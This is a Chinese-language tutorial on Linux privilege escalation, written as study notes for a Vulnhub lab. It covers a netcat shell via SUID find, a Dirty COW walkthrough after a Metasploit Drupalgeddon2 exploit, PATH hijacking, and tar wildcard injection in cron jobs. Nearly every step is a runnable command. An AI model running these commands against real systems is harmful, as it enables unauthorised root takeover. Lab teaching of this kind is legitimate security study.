目录
3)脏牛内核漏洞演示-linux-exploit-suggester
一、信息收集&Linux脏牛内核漏洞&SUID
1.信息收集
信息收集命令:权限提升-linux提权手法总结
自动化脚本
信息收集:LinEnum、linuxprivchecker
作用:为后续提权做准备
漏洞探针:linux-exploit-suggester、linux-exploit-suggester2
作用:用户内核提权,判定操作系统可能存在的漏洞
脚本介绍:
LinEnum
通过webshell上传到tmp文件夹,赋予执行权限chmod +x LinEnum.sh,执行./LinEnum;LinEnum会列出目标机器的信息
linuxprivchecker
上传到tmp目录,执行文件 python linuxprivchecker.py;脚本会列出目标机器的信息,但是不像LinEnum有颜色标识
linux-exploit-suggester
上传到tmp目录,执行./linux-exploit-suggester.sh,脚本会输出内核等信息和可能存在的漏洞和exp的下载地址。橙色标签更符合目标机情况
linux-exploit-suggester2
通过websell或者文件上传linux-exploit-suggester-2.pl 到tmp文件夹,这里需要目标机器上有perl(语言)
执行perl linux-exploit-suggester-2.pl 会直接报告可能的漏洞和exp地址
2.SUID提权
SUID是一种特殊权限。设置了SUID的文件用户执行时会拥有该程序属主的权限。比如/usr/bin/passwd文件,用户执行时获得了root权限,从而能更改密码,或者赋予权限"chmod u+s [文件名]"
案例:
1)SUID提权配合脚本
find命令参数
语法:find [path...] [expression]
. 为当前路径 /为根目录 expression为参数
expressions:
-name 按文件名查找
-perm 按文件权限查找,4000,2000,1000为分别表示SUID,SGID,SBIT
-user 按文件属主查找
-size n 文件大小是n个单位
-type d(目录) f(文件) c(字符设备文件) b(块设备文件)
-print 将匹配的文件输出的标准输出
-exec find命令对匹配的文件执行该参数所给出的shell命令
注:find [path] [expressions] 搜索内容 -exec 命令2 {} \;
{} 和 \; 是标准格式,执行-exec这两个符号必须完整输入。其次,这个选项的作用其实是把 find 命令的结果交给由"-exec"调用的命令 2 来
处理。"{}"就代表 find 命令的査找结果。
-ok 同-exec,不过-ok选项会在操作前进行确认
提权过程:探针是否有SUID(手工或脚本)-特定SUID利用-利用吃瓜-GG
确定是否有SUID,利用脚本或下面的命令手工确定
find / -user root -perm -4000 -print 2>/dev/null //重定向错误输出,/dev/null是个黑洞,其中任何数据都会被丢弃,2>/dev/null删除错误信息
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
在找出来的SUID中找Nmap、Vim、find、Bash、More、Less、Nano、cp
根据命令的不同使用不同的方法提权,详见参考文献
以下为find命令的SUID提权方法
创建名为“xiaodi”的文件,叫什么都行
touch xiaodi
借find命令的“-exec”参数执行命令“whoami”,确定执行“find”时为root权限
find xiaodi -exec whoami \;
借find命令的“-exec”参数执行命令,形成一个反弹
find xiaodi -exec netcat -lvp 5555 -e /bin/sh \;
接受反弹,享受反弹的root权限
netcat xx.xx.xx.xx 5555
参考利用:https://pentestlab.blog/2017/09/25/suid-executables/
2)本地配合内核漏洞
提权过程:连接-获取可利用漏洞-下载或上传EXP-编译EXP-给权限执行-GG
连接,下载或上传探测漏洞的脚本,并运行
根据提示的漏洞信息下载或上传EXP,这里EXP文件的名字叫“45010.c”,使用EXP
gcc 45010.c -o 45010
chmod +x 45010
./45010
最后确定是否提权成功
id
3)脏牛内核漏洞演示-linux-exploit-suggester
脏牛判断:
判断内核:
Debian运行命令
uname -v
Ubuntu/Centos/RHEL运行命令
uname -r
,以下是主流发行版修复之后的内核版本,如果你的内核版本低于列表里的版本,表示还存在脏牛漏洞
Centos7 /RHEL7 3.10.0-327.36.3.el7 Cetnos6/RHEL6 2.6.32-642.6.2.el6 Ubuntu 16.10 4.8.0-26.28 Ubuntu 16.04 4.4.0-45.66 Ubuntu 14.04 3.13.0-100.147 Debian 8 3.16.36-1+deb8u2 Debian 7 3.2.82-1
内核提权整个过程:(linux-exploit-suggester获取信息)
vulnhub靶机-探针目标-CMS漏洞利用-脚本探针提权漏洞-利用内核提权-GG
内核漏洞提权过程:寻找可用exp-下载exp-上传至/tmp-编译exp-执行(无权限用chmod)
nmap扫描网段寻找存活IP,扫描端口寻找存活端口,注意这里“-p1-65535”是扫描从1到65535的所有端口
nmap 192.168.76.0/24
nmap -p1-65535 192.168.76.141
首先发现192.168.76.141,开放的80端口,可以访问。在端口扫描中发现开放的1898端口并可以访问。1898端口的网页中有“Powered by Drupal”字样,搜索“drupal”确定是CMS。搜索drupal CMS的漏洞,可以在搜索引擎搜,或在msf搜索
search drupal
根据msf搜索的结果,使用一个exp
use exploit/unix/webapp/drupal_drupalgeddon2
显示设置,并设置好IP端口等信息,执行
show options
set lhost 192.168.76.141
set lport 1898
exploit
发现攻击成功,确定现有权限
getuid
只有web权限,提权
上传漏洞探针脚本
upload /root/linux-exploit-suggester.sh /tmp/1.sh
为脚本添加运行权限,执行
chmod +x 1.sh
./1.sh
在回复的信息中寻找合适的漏洞
发现了CVE-2016-5195 dirtycow 脏牛漏洞,决定使用该漏洞
下载或上传exp
wget https://www.exploit-db.com/download/40611
upload /tmp/40847.cpp /tmp/40847.cpp
C++需要编译
# -Wall:打印警告信息 -pedantic:允许发出ANSI/ISO C标准所列出的所有警告 O2:优化代码 -std:设置编译标准
# -o dcow gcc生成的目标文件,名字为dcow
# g++格式:g++ [options] file
# -pthread:在Linux中要用到多线程时,需要链接pthread库
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
该exp需要一个交互式的终端,不然无法正常执行。这里开一个虚拟的交互终端
python -c 'import pty; pty.spawn("/bin/bash")'
运行
./dcow
运行成功,dcow回显了一个root密码,用它登录
su root
在root文件夹下有flag
cat /root/flag.txt
涉及的资源:
LinEnum:https://github.com/rebootuser/LinEnum
LAMPIÃO: 1(vulnhub的靶场):https://www.vulnhub.com/entry/lampiao-1,249/
Behinder冰蝎:https://github.com/rebeyond/Behinder
linux-exploit-suggester:https://github.com/mzet-/linux-exploit-suggester
Linuxprivchecker:https://github.com/sleventyeleven/linuxprivchecker
SUID Executables:https://pentestlab.blog/2017/09/25/suid-executables/
linux-exploit-suggester-2:https://github.com/jondonas/linux-exploit-suggester-2
Ubuntu 16.04漏洞复现(CVE-2017-16995):https://www.mozhe.cn/bug/detail/T3ZEbFljRmFKQTVjVitoV2JxUzVoQT09bW96aGUmozhe
二、定时任务&环境变量&数据库
1.环境变量(这个属于本地提权-比较鸡肋)
前提:SUID配合环境变量而且是本地用户环境下
过程:手写调用文件-编译-复制文件-增加环境变量-执行
//demo.c文件
#include<unistd.h>
void main(){
setuid(0);
setgid(0);
system("ps");
}
#手写一个c语言文件,并上传编译为shell文件
gcc demo.c -o shell
#复制到目录
#将/bin/sh 复制到/tmp下改名ps,到/tmp目录下输入ps执行的是ps,输入./ps执行的是sh
cp /bin/sh /tmp/ps
#导入环境变量,类似windows配环境变量,直接命令下就能执行某文件,kali里各种工具都是如此
#导入环境变量以后,输入ps,会执行/tmp目录下的ps
export PATH=/tmp:$PATH
#执行当前目录shell文件
./shell
id
注:ps有suid权限
这个提权需要两个条件:1.赋值了SUID权限 2.需要本地用户(如果是webshell权限export导入环境变量时会失败)
解惑:这里有一点,这个shell是用户自己创建的,shell执行ps;我们是把sh复制到tmp目录下命名为ps,然后加入到环境变量,shell执行的ps就变成了 sh
2.定时任务
第一种通配符注入(WS注入)
提权条件:有通配符的可以调用其他命令的命令被放入计划任务中
提权原理:利用通配符配合命令参数自定义命令实现提权;可以将通配符所匹配的内容写成命令的 参数,调用其他命令
提权过程:
我们首先假设目标机器上有类似如下带有通配符的任务
不安全定时任务备份命令:
cd /home/undead/script;tar czf /tmp/backup.tar.gz *
新建“test.sh”,其中有获取root权限的命令
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/undead/script/test.sh
新建两个文件,文件名代替通配符时会和命令组合成新命令,执行“test.sh”
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
等到定时任务完成,调用已经获得root权限的bash
./bash -p
第二种权限问题
原理:利用不安全的权限分配操作导致定时文件覆盖,管理员没有给予正确的权限,给了文件777权限,那么定时任务就可以被修改, 进行提权
3.案例:Linux提权数据库MYSQL_UDF-Vulnhub